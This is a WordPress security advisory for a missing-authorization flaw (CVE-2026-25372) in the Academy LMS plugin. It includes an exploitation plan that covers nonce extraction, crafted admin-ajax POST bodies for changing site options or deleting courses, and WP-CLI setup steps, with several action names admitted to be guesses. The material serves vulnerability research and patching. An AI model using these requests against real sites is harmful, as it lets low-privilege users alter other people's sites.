Academy LMS <= 3.5.3 - Missing Authorization
Description
The Academy LMS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.5.3. This makes it possible for authenticated attackers, with instructor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.5.3Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-25372 ## 1. Vulnerability Summary The **Academy LMS** plugin (versions <= 3.5.3) is vulnerable to **Missing Authorization**. The vulnerability exists in one of the plugin's AJAX handlers—likely related to global settings or instructor management—where a capab…
Show full research plan
Exploitation Research Plan - CVE-2026-25372
1. Vulnerability Summary
The Academy LMS plugin (versions <= 3.5.3) is vulnerable to Missing Authorization. The vulnerability exists in one of the plugin's AJAX handlers—likely related to global settings or instructor management—where a capability check is either missing or insufficiently restrictive. While the handler may verify a WordPress nonce, it fails to ensure the user has administrative privileges (manage_options). This allows an authenticated user with Instructor level permissions to perform actions intended only for Administrators, such as modifying plugin configurations.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
academy_update_options(inferred based on plugin architecture) oracademy_instructor_status_update(inferred). - HTTP Method:
POST - Authentication: Required (Role:
instructor). - Vulnerable Parameter: Parameters within the
POSTbody used to define option names and values (e.g.,option_name,option_value, or a settings array). - Preconditions: An attacker must have an account with the
instructorrole.
3. Code Flow
- Entry Point: The plugin registers AJAX actions in
includes/Core/AJAX.php(or a similar class-based structure likeAcademy\Core\AJAX). - Registration:
add_action( 'wp_ajax_academy_update_options', [ $this, 'academy_update_options' ] ); - Vulnerable Function: The callback
academy_update_optionsis invoked. - Logic:
- It retrieves the nonce from
$_POST['nonce']or$_POST['_wpnonce']. - It calls
check_ajax_referer( 'academy_nonce', 'nonce' ). - The Flaw: It may check
is_user_logged_in()or check if the user is an instructor, but it missescurrent_user_can( 'manage_options' ).
- It retrieves the nonce from
- Sink: The function calls
update_option()or a wrapper function to save data to thewp_optionstable.
4. Nonce Acquisition Strategy
The Academy LMS plugin localizes administrative data for its JavaScript components. An instructor can find the necessary nonce by accessing their instructor dashboard.
- Shortcode: Identify the instructor dashboard page. If it doesn't exist, create one:
wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[academy_instructor_dashboard]'
- Navigation: Navigate to the dashboard page as a logged-in instructor.
- Extraction: Use
browser_evalto extract the nonce from the global JavaScript object:- Variable Name:
academy_admin_ajaxoracademy_data(inferred from plugin source). - Key:
nonce. - Command:
browser_eval("window.academy_admin_ajax?.nonce").
- Variable Name:
5. Exploitation Strategy
The goal is to modify a global plugin setting (e.g., changing the instructor registration requirements or email settings) from an instructor account.
Step 1: Authentication
Authenticate as a user with the instructor role.
Step 2: Nonce Extraction
Retrieve the nonce using the strategy defined in Section 4.
Step 3: Malicious Request
Send a POST request to admin-ajax.php to update a restricted option.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note:action=academy_update_options&nonce=[NONCE]&option_name=academy_instructor_registration&option_value=autooption_nameandoption_valueare inferred; the plugin may use an array likesettings[option_name]=value).
Step 4: Verification
Confirm the option was updated in the database.
6. Test Data Setup
- Install Plugin: Academy LMS <= 3.5.3.
- Create Instructor:
wp user create attacker attacker@example.com --role=subscriber(Note: Academy LMS usually maps its own "Instructor" role; ensure the user has theinstructorrole via the plugin's settings).- Use
wp user set-role attacker instructorif the role is available.
- Identify Setting: Check current value of a target setting:
wp option get academy_instructor_registration(Example setting).
7. Expected Results
- Response: The server returns a successful JSON response (e.g.,
{"success": true}). - Impact: The value of the global setting
academy_instructor_registrationis changed in the database. - Unauthorized Action: An instructor has successfully modified a site-wide configuration that should be restricted to administrators.
8. Verification Steps
After sending the HTTP request, use WP-CLI to verify the change:
wp option get academy_instructor_registration
If the value matches the one sent in the option_value parameter, the exploitation is successful.
9. Alternative Approaches
If academy_update_options is not the vulnerable action:
- Instructor Status Update: Try
action=academy_update_instructor_status. An instructor might be able to change their own status or the status of others.- Payload:
action=academy_update_instructor_status&instructor_id=[MY_ID]&status=approved.
- Payload:
- Course Management: Try
action=academy_delete_courseon acourse_idthat does not belong to the instructor. - Audit Localized Data: If
window.academy_admin_ajaxis not found, usebrowser_eval("window")to inspect all global variables for nonce keys or usegrep -r "wp_localize_script" .to find the correct identifier.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.